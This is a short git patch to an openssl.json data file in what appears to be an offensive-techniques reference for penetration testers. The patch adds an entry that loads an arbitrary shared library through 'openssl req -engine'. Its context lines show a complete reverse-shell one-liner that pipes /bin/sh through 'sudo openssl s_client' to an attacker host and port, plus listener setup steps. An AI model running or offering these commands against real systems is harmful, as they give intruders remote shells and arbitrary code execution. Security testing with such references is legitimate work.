From 15aa30f9e28f431fbe8061522dac07dd1e0a0931 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sun, 12 Apr 2020 17:10:52 +0200 Subject: [PATCH] add library load function --- data/openssl.json | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/data/openssl.json b/data/openssl.json index 961fc85..e648e85 100644 --- a/data/openssl.json +++ b/data/openssl.json @@ -45,6 +45,11 @@ "description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.", "code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n" } + ], + "library-load": [ + { + "code": "openssl req -engine ./lib.so" + } ] } } \ No newline at end of file